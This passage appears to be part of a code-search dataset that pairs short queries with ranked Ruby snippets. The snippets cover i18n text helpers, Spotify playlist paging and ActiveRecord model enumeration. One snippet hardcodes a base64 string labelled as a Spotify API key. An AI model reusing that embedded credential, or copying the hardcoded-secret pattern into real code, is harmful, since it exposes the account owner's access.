"0.6189707", "text": "def lnbText _obj, _args\n \"_obj lnbText _args;\" \n end", "title": "" }, { "docid": "6dcc9e4c75ed2807bb5d5b03fa0d211a", "score": "0.6189374", "text": "def string(text)\n common_string(text, text.event.unicode)\n end", "title": "" }, { "docid": "6dcc9e4c75ed2807bb5d5b03fa0d211a", "score": "0.6189374", "text": "def string(text)\n common_string(text, text.event.unicode)\n end", "title": "" }, { "docid": "ac770325166462ea1105ee7e068bea05", "score": "0.6187098", "text": "def text\n self.title + \" -- \" + self.description\n end", "title": "" }, { "docid": "efd4d093cb5460e152fea8084474d84b", "score": "0.61837447", "text": "def text\n I18n.t(\"valhalla.visibility.#{@visibility}.text\")\n end", "title": "" }, { "docid": "0a7be5895a8bd6ef625a53a506a72397", "score": "0.6170235", "text": "def t(...)\n I18n.t(...)\nend", "title": "" }, { "docid": "c09252efbe93a7d7a393d4d9b6e6bffe", "score": "0.6170147", "text": "def markup text\n if @store.rdoc.options\n locale = @store.rdoc.options.locale\n else\n locale = nil\n end\n if locale\n i18n_text = RDoc::I18n::Text.new(text)\n text = i18n_text.translate(locale)\n end\n parse(text).accept formatter\n end", "title": "" }, { "docid": "9f09b936ef5f6563b9731d04d028ce07", "score": "0.61654055", "text": "def t(*args, **kwargs)\n proc { I18n.t(*args, **kwargs) }\n end", "title": "" }, { "docid": "508d9ce3de27a3b0ce53b6c1a57807f1", "score": "0.61604095", "text": "def text\n @value[:text].to_s\n end", "title": "" }, { "docid": "e0e490ea2a1094507937c1f206827a48", "score": "0.6149282", "text": "def text\n options.fetch(:text, nil)\n end", "title": "" }, { "docid": "6cfb746c8ad123e3bf8f955becf48025", "score": "0.6145497", "text": "def message\n t(\".message\")\n end", "title": "" }, { "docid": "776f1c82ae08039be97ccc89f271c4d2", "score": "0.6131269", "text": "def text(name, options={})\n param(:text, name, options)\n end", "title": "" } ]
7e5162211773e51666f7baedccfe3a4a
The spotify id is | V this part V |
[ { "docid": "41f573074e621988046214f556407cf9", "score": "0.0", "text": "def get_playlist_tracks(spotify_id, limit=100)\n\n # Queries the Spotify API\n response = query(\"playlists/#{spotify_id}/tracks\", {limit: limit})\n # Stores the next page url\n next_page = response[\"next\"]\n \n # Hard cap the limit to 100 (the maximum that Spotify takes)\n limit = (limit > 100) ? 100 : limit\n # If the user wants more than one page of results, and the next page exists\n if limit == 100 && !next_page.nil?\n loop do\n # Get the next page with the next_page url\n next_response = HTTParty.get(next_page, {\n headers: {\n \"Authorization\" => \"Bearer #{@auth['access_token']}\",\n },\n })\n\n # Get the new next page\n next_page = next_response[\"next\"] \n # Concat the tracks into the original response\n # So that seed_manager.rb can process them\n response[\"items\"].concat(next_response[\"items\"])\n # Keep going until there is no next_page\n break unless next_response[\"next\"]\n end\n end\n\n\n {\n response: response,\n method: \"playlist:tracks\"\n }\n end", "title": "" } ]
[ { "docid": "93d3a42832be914c3c40b50ad0fe6260", "score": "0.690163", "text": "def to_param\n spotify_id\n end", "title": "" }, { "docid": "6a93d4ef7a56798b058662d568ea09ae", "score": "0.6714834", "text": "def vodspot_video_id\n 99\n end", "title": "" }, { "docid": "b6e4430b0b42da6a95730bbf5ddb183b", "score": "0.6540769", "text": "def parse_id; end", "title": "" }, { "docid": "70b92d506a91d2c5fd06ac98c107ea4b", "score": "0.6480045", "text": "def id\n headline.underscore.gsub(/ /, '_')\n end", "title": "" }, { "docid": "71cb236582beca7ef9e882d56c245dcc", "score": "0.6282123", "text": "def identifier; id.split(':', 3)[2]; end", "title": "" }, { "docid": "fa2a582ffec4045bc398417e27f11710", "score": "0.6220112", "text": "def four_part_identifier\n (0..3).map {|part| @json[\"id_#{part}\"]}\n end", "title": "" }, { "docid": "52f02f0931585e65c22163b6875edf01", "score": "0.61855537", "text": "def id_from_response(response); end", "title": "" }, { "docid": "e605f21fd9d0b2307be822823c828ac4", "score": "0.6177244", "text": "def short_id\n\t\treturn self.id[ 0, 12 ]\n\tend", "title": "" }, { "docid": "65818c4f71030b99a7bfcc736c3df2f6", "score": "0.6172008", "text": "def internal_id; Minuit.pout(@id)[5]; end", "title": "" }, { "docid": "91c2baeac0decf0fa2d4320f3020a977", "score": "0.61573225", "text": "def steam_id64; end", "title": "" }, { "docid": "88552f0a3e1bf01ad59a1304bf67e54d", "score": "0.61375815", "text": "def parameterize_id id\n id.gsub(' Play', '').gsub(/[^\\w\\s]/, '').gsub(/\\s+/, ' ').gsub(' ', '_').downcase\n end", "title": "" }, { "docid": "686406f3fee5e393fbbfa4a7c0314e14", "score": "0.6127825", "text": "def steam_id; end", "title": "" }, { "docid": "686406f3fee5e393fbbfa4a7c0314e14", "score": "0.6127825", "text": "def steam_id; end", "title": "" }, { "docid": "686406f3fee5e393fbbfa4a7c0314e14", "score": "0.6127825", "text": "def steam_id; end", "title": "" }, { "docid": "75eeca1f76b20cd63ecad2d4892ad988", "score": "0.6112586", "text": "def in_situ_id\n 688136226\n end", "title": "" }, { "docid": "789b4add9c707aff1eeeaee6a27fa8e1", "score": "0.61033905", "text": "def identify(id, *args); ''; end", "title": "" }, { "docid": "74c356ade3237106341882f4f4b2e769", "score": "0.6058941", "text": "def user_id ; @id.split(/g/).first ; end", "title": "" }, { "docid": "9e86390481c63daf12748f7d29f2a352", "score": "0.6033125", "text": "def spotify_uri\n \"spotify:image:%s\" % id\n end", "title": "" }, { "docid": "a6adafbeed3fc2bbd68f40346babc898", "score": "0.6026122", "text": "def get_id() @id end", "title": "" }, { "docid": "dc208691b70b1fca6c83919d29019958", "score": "0.6016679", "text": "def git_id(id)\n\t\t\tid[0...8]\n\t\tend", "title": "" }, { "docid": "1f9eebdb0c929689a6efda84df48d52d", "score": "0.60057163", "text": "def obscure(id)\n id.to_s.first(6)\n end", "title": "" }, { "docid": "b5c14a29dec41e4a19236da72245dada", "score": "0.60048956", "text": "def id(part)\n rel(part)['Id']\n end", "title": "" }, { "docid": "cb44d73c1540d799119c0505cfe4d912", "score": "0.60012734", "text": "def id\n @data[:s]\n end", "title": "" }, { "docid": "cb44d73c1540d799119c0505cfe4d912", "score": "0.60012734", "text": "def id\n @data[:s]\n end", "title": "" }, { "docid": "d5ccade356c37405ef1267c47e568bbb", "score": "0.5999132", "text": "def spotifyKey\n key = \"YzA0Y2Y1MGIzYWU0NDlmMjliMTg2MmFjM2Q4YjNjMWM6NWFiNTAxNDk5MjZjNDhkMTg5MjYzYjYyMzZjYTY1ZjI=\"\n return key\n end", "title": "" }, { "docid": "405e757fcd3dcc217df3fb6e4753d0f7", "score": "0.5997855", "text": "def playlistid(sid = '')\n playlistinfo(sid, true)\n end", "title": "" }, { "docid": "bc1a4028ed12b13d7255ce009fb7d8af", "score": "0.5968138", "text": "def id\n info[0]\n end", "title": "" }, { "docid": "3233272331ed5e73fb9cb17bc3a7f2bc", "score": "0.5958913", "text": "def id\n \"#{kind}_#{@id}\"\n end", "title": "" }, { "docid": "3233272331ed5e73fb9cb17bc3a7f2bc", "score": "0.5958913", "text": "def id\n \"#{kind}_#{@id}\"\n end", "title": "" }, { "docid": "90dd965f795f8df0ea3476b3e0a6a4cf", "score": "0.595269", "text": "def unique_id\n video_id[/videos\\/([^<]+)/, 1]\n end", "title": "" }, { "docid": "ace390c12b1b74089dcd99738b6d6194", "score": "0.5951011", "text": "def local_id; end", "title": "" }, { "docid": "9ded444d5f2f0bec8c4e01600df17f64", "score": "0.59323794", "text": "def evolution_id\n\t\tspecies2 = self.evolution_url.split(\"n/\")\n\t\tid = species2[1].split(\"/\")\n\t\treturn id.join(\"\")\n\tend", "title": "" }, { "docid": "c7df176cb676b6898c5cfc05f1290249", "score": "0.59240556", "text": "def description\n 'be a vat id'\n end", "title": "" }, { "docid": "967f8ef3463b7f56a7c7da9ab22e85c7", "score": "0.5919851", "text": "def show\n RSpotify.authenticate(ENV[\"SPOTIFY_ID\"], ENV[\"SPOTIFY_SECRET\"])\n comp = Composition.find_by(id: composition_params[:id])\n tracks = RSpotify::Track.search(comp[:name])\n track = tracks.first\n id = track.instance_variable_get('@id')\n # byebug\n render json: track\n end", "title": "" }, { "docid": "3d8d08daa9ac516eceb83df7bb8e80b1", "score": "0.59082377", "text": "def extract_id(line)\n line.split('(')[1].split(',')[0].split(').')[0]\n end", "title": "" }, { "docid": "96bc1be7df87f5342478c25f8e7bd547", "score": "0.5902434", "text": "def splitId(id)\n\t\tid.gsub(\"##\",\".\")\n\tend", "title": "" }, { "docid": "1f9181404b780a4927a10d482bb2fdc9", "score": "0.58986646", "text": "def id(*) end", "title": "" }, { "docid": "1f9181404b780a4927a10d482bb2fdc9", "score": "0.58986646", "text": "def id(*) end", "title": "" }, { "docid": "12a9cc106869c008b112b56f8f893d4d", "score": "0.5891246", "text": "def id; @id end", "title": "" }, { "docid": "237bace29a43b116b1cdf0360143b01d", "score": "0.5889804", "text": "def item_id(item)\n item.identifier.gsub(/^\\/(.+)\\/$/, '\\1').gsub(/[\\/_]+/, '-')\nend", "title": "" }, { "docid": "08e818538bd93fe22b5e393b652f315c", "score": "0.5887517", "text": "def id(raw = false)\n id = Spotify.image_image_id(pointer).read_string(20)\n raw ? id : to_hex(id)\n end", "title": "" }, { "docid": "3d90117496ee3b5eea1b46efb24e6ca3", "score": "0.5885307", "text": "def api_show_id(show)\n log_debug\n show_escaped = CGI.escape(show)\n url = $config[\"thetvdb\"][\"mirror\"] + '/api/GetSeries.php?&language=en&seriesname=' + show_escaped\n $config[\"tvdb-refresh\"] = false;\n doc = get_xml(show, url, show)\n show_id = \"\"\n \n doc.find('//Data/Series').each do |item|\n find = show\n find = Regexp.escape(show) if show =~ /\\'|\\(|\\&|\\*|\\?/\n \n series_name = item.find('SeriesName')[0].child.to_s\n series_name = CGI.unescapeHTML(series_name)\n pre_regex = '^'\n \n log_debug \"thetvdb looking at show of #{series_name}\" if \n \n if series_name =~ /#{pre_regex}#{find}$/i \n show_id = item.find('id')[0].child.to_s\n end\n \n end\n if show_id == \"\"\n log(\"thetvdb error: can not find id for show \\'#{show}\\'\")\n show_id = false\n end\n show_id\n end", "title": "" }, { "docid": "7c062a10a08b924a072c0152348b6253", "score": "0.5885044", "text": "def kind; id.split(':', 3)[1]; end", "title": "" }, { "docid": "d1ec18a33734a181ce0e179e2bde6e52", "score": "0.5879365", "text": "def playlist_id;\treturn @plistgen_info.playlist_id();\tend", "title": "" }, { "docid": "287d0d8af8c9518736a17f65a88af6d3", "score": "0.587923", "text": "def extract_vsys_id(id)\n /^(\\w+-\\w+)\\b.*/ =~ id\n $1\n end", "title": "" }, { "docid": "48e2694a50679991a6d5b9096fb0dd37", "score": "0.58659315", "text": "def __SPLATS_id\n @id\n end", "title": "" }, { "docid": "88b26cfd2fafe8c7f359712728440e14", "score": "0.5861848", "text": "def loc_id\n # NOTE: this call to unescape may not be necessary.\n # loc_id = id.dup works just as well.\n # See https://github.com/samvera/questioning_authority/pull/369\n # for more discussion.\n loc_id = CGI.unescape(id)\n digit_idx = loc_id.index(/\\d/)\n loc_id.insert(digit_idx, ' ') if loc? && loc_id.index(' ').blank? && digit_idx > 0\n loc_id\n end", "title": "" }, { "docid": "56df85002fb8397d4bd4cc34bcbba6c4", "score": "0.5853646", "text": "def id; 11; end", "title": "" }, { "docid": "c63dd82e1d7b8841f29c0bcc68e1ce8f", "score": "0.5852043", "text": "def video_info_by_id(service, part, **params)\n params = params.delete_if { |p, v| v == ''}\n response = service.list_videos(part, params).to_json\n JSON.parse(response).fetch(\"items\")[0]\nend", "title": "" }, { "docid": "2d763758b269d747c41fe7f898c90543", "score": "0.5845876", "text": "def sid; lime_survey.sid; end", "title": "" }, { "docid": "77767fc19f4aea29308b686b036f9dac", "score": "0.5833795", "text": "def ugly_id\n image_url\n end", "title": "" }, { "docid": "5f361b422bbaccee37c7596e25bcf442", "score": "0.58315897", "text": "def soundcloud_id\n end", "title": "" }, { "docid": "92f9d45a06a1ba17363511bce3bef2b9", "score": "0.5816889", "text": "def id\n @custom_url || @steam_id64\n end", "title": "" }, { "docid": "cb2ed7e58277866b6ec43bf586405e9f", "score": "0.58126825", "text": "def votes_key\n \"p:#{playlist_code}:v:#{id}\"\n end", "title": "" }, { "docid": "63eaaee44cc15f950cdf5158e2f78db3", "score": "0.5806462", "text": "def find_id val\n parse_terms_id_response(SolrQuery.new.solr_query(q='inScheme_ssim:\"' + terms_id + '\" AND preflabel_si:\"' + val + '\"', fl='id'))\n end", "title": "" }, { "docid": "b678bc8c0ad915e621209a3a3444e980", "score": "0.5805221", "text": "def ardyn_id\n Regexp.new /0B E9 99 E5 5D 01 01 .. .. .. .. .. .. 00 00 00/x\n end", "title": "" }, { "docid": "0ecbca251c457382ee56d8e8fdb87340", "score": "0.5801757", "text": "def id; 3; end", "title": "" }, { "docid": "0ecbca251c457382ee56d8e8fdb87340", "score": "0.5801757", "text": "def id; 3; end", "title": "" }, { "docid": "055c1ab683f0b3b58177203fe5ebc5d5", "score": "0.5800581", "text": "def short_id\n si = id.to_s.tr('-', \"_\")\n si = si.gsub(project.full_id_name, '') if project\n si.gsub('__', '_').gsub(/^_|_$/, '')\n end", "title": "" }, { "docid": "0ba7060a8911921c1f6a3f550119e4cf", "score": "0.57975", "text": "def id\n Artifactory.to_s.dash_case\n end", "title": "" }, { "docid": "731eaaccd1fc200e0de445949aedc31f", "score": "0.5770138", "text": "def nameCutter(id)\r\n idCut = id.split('-')\r\n idCut = idCut[0]\r\n return idCut\r\n end", "title": "" }, { "docid": "65f5f4ec260834d7f225f45827f6afe8", "score": "0.57690054", "text": "def get_song_id_from_name(name)\n track = RSpotify::Track.search(name)\n return track.first.id.to_s\n end", "title": "" }, { "docid": "e4cd56e8df45c7d2699322fb9be4244f", "score": "0.57662183", "text": "def playid(number = '')\n socket_puts(\"playid #{number}\")\n status['songid']\n end", "title": "" }, { "docid": "bb37e0837b68ce2aa96000115d5cfdb6", "score": "0.5756723", "text": "def unique_id\n video_id.match(/videos\\/([^<]+)/).captures.first\n end", "title": "" }, { "docid": "41a75bb4ca91542ce76399e7eb16f3a9", "score": "0.5751066", "text": "def gen_id\n arr_id = []\n index = [0, 1, 5,7,11,13] # positions for key words.\n if @info_list.length >= 23\n index << 23\n end\n\n\n index.each do |i|\n if not arr_id.include? @info_list[i]\n arr_id << @info_list[i]\n end\n end\n id = ''\n arr_id.each do |e|\n id = id+' '+e\n end\n id.strip\n end", "title": "" }, { "docid": "7caa0f860e74ad62c7b1f6a2bcaa9947", "score": "0.57509905", "text": "def id\n url.split('/')[8].to_i\n end", "title": "" }, { "docid": "7c95b792851c2fb11fb3c5f6a5ffd2a4", "score": "0.5744435", "text": "def name\n raw[\"_id\"].split(\"/\").last\n end", "title": "" }, { "docid": "aab352b19a071548e75931704d88f2b9", "score": "0.5720141", "text": "def identifier(id)\n id[0,id.rindex(/[\\.-]/)]\n end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" }, { "docid": "949c5e2dfae7d74d8af81fb7f1f008b6", "score": "0.57190174", "text": "def id; end", "title": "" } ]
ff4f07287024cb65270d6a003da28e7d
All model classes that have corresponding tables (i.e., STI subclasses are not included).
[ { "docid": "eb173766d67c6d709a8c7d84cd7b0b90", "score": "0.63689274", "text": "def model_classes\n require 'wink/models'\n @model_classes ||= [ Entry, Comment, Tag, Tagging ].freeze\n end", "title": "" } ]
[ { "docid": "f9ad9600bc853ac4d34e889ead3e47d7", "score": "0.81023675", "text": "def table_model_classes\n load_rails_models\n ActiveRecord::Base.send(:subclasses).where.descends_from_active_record?.reject {|c| c.name.starts_with?(\"CGI::\") }\n end", "title": "" }, { "docid": "80c78a81256f7fbc1fa5a84669461278", "score": "0.8023826", "text": "def table_model_classes\n load_rails_models\n ActiveRecord::Base.send(:descendants).reject {|c| (c.base_class != c) || c.name.starts_with?(\"CGI::\") }\n end", "title": "" }, { "docid": "46eec8095fa3ad2623d68c370dc2ba38", "score": "0.79063517", "text": "def models\n ActiveRecord::Base.descendants.delete_if(&:abstract_class?).delete_if do |klass|\n !klass.connection.table_exists?(klass.table_name)\n end\n end", "title": "" }, { "docid": "0b26259ad73090c68b979995a3140cde", "score": "0.78397405", "text": "def models\n ActiveRecord::Base.descendants.reject(&:abstract_class).select(&:table_exists?).map { |c| model(c) }\n end", "title": "" }, { "docid": "6a1e46c8e10541eb4f508c19bbb6d946", "score": "0.76822746", "text": "def models\n ActiveRecord::Base.descendants.delete_if(&:abstract_class?)\n end", "title": "" }, { "docid": "a25d5ab62e5a89794190b5ed691c3e64", "score": "0.76651233", "text": "def models\n ObjectSpace.each_object(Class).select { |c| c < Model }\n end", "title": "" }, { "docid": "03ce353a1d9f8b4ace12ea7bb8dd97de", "score": "0.74633044", "text": "def all_model_superclasses(klass)\n superclasses = klass.ancestors.grep(Class).sort.take_while{|k| k < ActiveRecord::Base}\n end", "title": "" }, { "docid": "8bca2ad7720a64340e65e0305f127cf1", "score": "0.74573076", "text": "def active_record_models\n ::ApplicationRecord.descendants.reject(&:abstract_class)\n end", "title": "" }, { "docid": "9fc7c2400e75fe6c1c3ff6be8f4a2e05", "score": "0.72985476", "text": "def all_migrating_model_classes\n\t\t\treturn [ self.baseclass ] + self.baseclass.descendents\n\t\tend", "title": "" }, { "docid": "95ec8c5d8fd7a9b3e7d33bd48aecb133", "score": "0.7197755", "text": "def get_ar_models\n ActiveRecord::Base.descendants.reject { |ar_model| REJECT_TABLES.include?(ar_model.name)}\n end", "title": "" }, { "docid": "0adfd861a5b1dd9d72e4d2bd245ba23c", "score": "0.7143131", "text": "def generateable_models\n active_record_models.reject do |model|\n model.abstract_class? || model == ActiveRecord::Base || model.name.start_with?(\"HABTM_\")\n end\n end", "title": "" }, { "docid": "255148bfdc8f7225ca4c50e10d61d919", "score": "0.710751", "text": "def activerecord_model_tables\n klasses = ActiveRecord::Base.send(:subclasses).reject{ |klass| klass.skip_unload_fixtures if klass.respond_to?(:skip_unload_fixtures) }\n klasses.map do |klass|\n if defined?(ActiveRecord::SnapshotView) && klass.ancestors.include?(ActiveRecord::SnapshotView)\n [klass.switch_table_name] + klass.table_version_names\n else\n klass.table_name\n end\n end.flatten.to_set.to_a\n end", "title": "" }, { "docid": "763e22ca0122e119f74bb3350393ee95", "score": "0.7080084", "text": "def tables\n all_tables.reject{ |t| t.ignored? || t.polymorphic? }\n end", "title": "" }, { "docid": "890879dae6073051d0ddfd7edd86c4bd", "score": "0.7044901", "text": "def models_and_tables\n ignore_model_names = MigrationGenerator.ignore_models.map &it.to_s.underscore\n models = table_model_classes.select { |m| m < HoboFields::ModelExtensions && m.name.underscore.not_in?(ignore_model_names) }\n db_tables = connection.tables - MigrationGenerator.ignore_tables.*.to_s\n [models, db_tables]\n end", "title": "" }, { "docid": "d0dc662bb92ae5041ab9019dc3fdab50", "score": "0.69931793", "text": "def accepted_classes_through_polymorphism\n if polymorphic?\n classes = []\n attr_name = attribute_name_for_polymorphic_type\n this_class = from_active_record\n\n Traits.active_record_descendants.each do |active_record|\n # Skip current model and models which are STI derived\n next if active_record <= this_class # Means is or derived from current model\n\n active_record.traits.associations.each do |assoc|\n if assoc.attribute_name_for_polymorphic_type == attr_name\n classes << assoc.from_active_record\n end\n end\n end\n classes.uniq.sort! { |l, r| l.to_s <=> r.to_s }\n end\n end", "title": "" }, { "docid": "af1ba8df6d1f1d2e195c6fe3422c0e94", "score": "0.69455045", "text": "def models_and_tables\n ignore_model_names = Migrator.ignore_models.map { | model| model.to_s.underscore }\n all_models = table_model_classes\n hobo_models = all_models.select do |m|\n (m.name['HABTM_'] ||\n (m.include_in_migration if m.respond_to?(:include_in_migration))) && !m.name.underscore.in?(ignore_model_names)\n end\n non_hobo_models = all_models - hobo_models\n db_tables = connection.tables - Migrator.ignore_tables.map(&:to_s) - non_hobo_models.map(&:table_name)\n [hobo_models, db_tables]\n end", "title": "" }, { "docid": "5a8cb7bc40df2940992b52abbff165d8", "score": "0.69439477", "text": "def initialize\n self.models = Hash[\n ActiveRecord::Base.descendants.select(&:name).select { |c| !c.abstract_class }.map { |c|\n [c.name.tableize, c]\n }\n ]\n end", "title": "" }, { "docid": "7db4236e04c62eafda22e669a016d7ce", "score": "0.6824783", "text": "def models(klass)\n return @models if defined? @models\n return [] if frozen?\n\n # Use select_all to retrieve hashes for each row instead of arrays of values.\n @models = connection.\n select_all(query, \"#{klass.name} Load via #{self.class.name}\").\n map { |record| klass.send :instantiate, record }\n\n retrieve_found_row_count\n freeze\n\n @models\n end", "title": "" }, { "docid": "241eaea536714d4aa54bf45d86ac7653", "score": "0.68219763", "text": "def non_sti_models\n models.reject { |model| sti_model?(model) }\n end", "title": "" }, { "docid": "dd4029177ccdb0b185781a716e964ad0", "score": "0.6799302", "text": "def models\n work_classes + collection_classes\n end", "title": "" }, { "docid": "098673208b53cd17e98fdd9d2e665d96", "score": "0.67631763", "text": "def all_associations (application)\n application.klasses.map(&:cls).compact.map do |cls|\n cls.reflect_on_all_associations.select { |a| a.active_record == cls }\n end.flatten\n end", "title": "" }, { "docid": "dc52ab6c7481e05cedf6cbb850426dd7", "score": "0.6741103", "text": "def uninstalled_tables\n\t\t\tself.db.log_info \" searching for unbacked model classes...\"\n\n\t\t\tself.tsort.find_all do |modelclass|\n\t\t\t\tnext unless modelclass.name && modelclass.name != '' && !modelclass.is_view_class?\n\t\t\t\t!modelclass.table_exists?\n\t\t\tend.uniq( &:table_name )\n\t\tend", "title": "" }, { "docid": "a0ab9c8c874633a61e05774d6e5c175d", "score": "0.66585946", "text": "def model_table_names\n models.map(&:table_name).uniq\n end", "title": "" }, { "docid": "d5b8a51e023a317a1a85d5a24c2af7ad", "score": "0.6653459", "text": "def uninstalled_tables\n\t\t\tself.db.log_info \" searching for unbacked model classes...\"\n\n\t\t\tself.tsort.find_all do |modelclass|\n\t\t\t\tnext unless modelclass.name && modelclass.name != ''\n\t\t\t\t!modelclass.table_exists?\n\t\t\tend.uniq( &:table_name )\n\t\tend", "title": "" }, { "docid": "b92ffab9fb68e19fb78093d89237b7bc", "score": "0.6622958", "text": "def polymorphic_tables\n all_tables.reject{ |t| t.ignored? || !t.polymorphic? }\n end", "title": "" }, { "docid": "819e188edca498b4f003dc771f0da5ce", "score": "0.66119015", "text": "def classes_for_cleaning\n __getobj__.to_a.select do |t|\n t.clean_up && t.klass.respond_to?(:with_exclusive_scope) && t.klass.respond_to?(:delete_all)\n end.map(&:klass)\n end", "title": "" }, { "docid": "5eef102e3b6e4a5196b81f6170eef57e", "score": "0.65976244", "text": "def collect_uncachable_traits\n return unless build_class < ActiveRecord::Base\n\n @common_associations = []\n @uncommon_associations = []\n\n reflections = build_class.reflect_on_all_associations\n reflections.each do |reflection|\n if reflection.macro == :belongs_to\n @common_associations << reflection.name.to_sym\n # In rails land, some foreign keys are symbols, some strings; coerce them here:\n @common_associations << reflection.foreign_key.to_sym\n else\n @uncommon_associations << reflection.name.to_sym\n end\n end\n end", "title": "" }, { "docid": "131365eb3c727c16ba31f647049b5deb", "score": "0.6596231", "text": "def find_models\n models = []\n FileList[\"#{RAILS_ROOT}/app/models/**/*.rb\"].sort.each do |fn|\n model_class = load_model_class(fn)\n models << [model_class,fn] if model_class &&\n model_class.respond_to?(:base_class) &&\n model_class.base_class.superclass == ActiveRecord::Base\n end\n models\nend", "title": "" }, { "docid": "7f41624ee18868e9bea5c6c0cfa6f009", "score": "0.6534234", "text": "def all_models\n cluster = DataMapper::Model.descendants\n end", "title": "" }, { "docid": "5af65092212c2242ec2e91d8c1839084", "score": "0.6506976", "text": "def managed_classes\n\n classes = {}\n if (related_classes = reflect_on_all_associations(:has_many)).present?\n related_classes.each do |rclass|\n class_name = rclass.name.to_s.camelize.singularize.constantize\n if class_name != User && (records = class_name.where(organization_id: self.id)).present?\n classes[class_name.to_s.downcase.to_sym] = records\n end\n end\n end\n\n classes\n end", "title": "" }, { "docid": "212f01413e1a24d1235745a612e5e44a", "score": "0.6493326", "text": "def models_in_file\n Dir.glob(Rails.root.join('app', 'models', '*.rb')).each { |file| require file }\n ObjectSpace\n .each_object(Class)\n .select { |klass| klass < ActiveRecord::Base }\n .select { |x| !x.name.match(/\\AActiveRecord\\:\\:/) && !x.abstract_class? && !x.name.match(/\\AHABTM\\_/) }\n .uniq\n .sort { |a, b| a.name <=> b.name }\n end", "title": "" }, { "docid": "8fe88a6ddeb48427b90a367514bf5ad8", "score": "0.64830893", "text": "def tables\n tbls = []\n sql = \"select class_name from db_class where is_system_class = 'NO'\"\n @conn.query(sql) { |r| \n tbls << r[0].downcase\n }\n tbls\n end", "title": "" }, { "docid": "578f090440d7957c3226316060aa5690", "score": "0.64801705", "text": "def all_models(options={})\n return @all_models if @all_models\n if options[:only]\n Array(options[:only]).collect{|f| f.is_a?(String) ? f.camelize.constantize : f}\n else\n string_except, except = Array(options[:except]).partition{|f| f.is_a?(String)}\n model_files.collect{|file|File.basename(file).sub(/\\.rb\\z/, '')}.\n reject{|f| string_except.include?(f)}.\n map{|f| f.camelize.constantize}.\n reject{|m| except.include?(m) || !MODEL_SUPERCLASSES.any?{|klass| m.ancestors.include?(klass)}}\n end\n end", "title": "" }, { "docid": "3d62bd449af598d53797dbdf9b22f409", "score": "0.6471998", "text": "def models\n collection_classes\n end", "title": "" }, { "docid": "ac5174cfbacdb4db17717883cd6a91b6", "score": "0.64601827", "text": "def all_from_generalizations (application)\n classes = application.klasses.map(&:cls).compact\n classes.reject(&:descends_from_active_record?).map do |cls|\n source = application.klass_by_name(cls.superclass.name)\n target = application.klass_by_name(cls.name)\n new(application, nil, source, target, :generalization)\n end\n end", "title": "" }, { "docid": "452ae49e20b7960ac3606532b05d6f83", "score": "0.6455199", "text": "def managed_classes\n @models\n end", "title": "" }, { "docid": "259561b2a42a60cd39aba7342292b1f7", "score": "0.64358205", "text": "def all_root_tables\n found_root_tables = {}\n Dir.glob(File.join(Rails.root, \"app\", \"models\", \"**\" \"*.rb\")).each do |f|\n model = File.basename(f, \".rb\").camelize.constantize\n if model.respond_to?(:root_tables) && !model.root_tables.nil?\n found_root_tables.update(model.root_tables)\n end\n end\n found_root_tables\n end", "title": "" }, { "docid": "15715837ff81195eef4ed575924af6f1", "score": "0.6429358", "text": "def model_classes\n 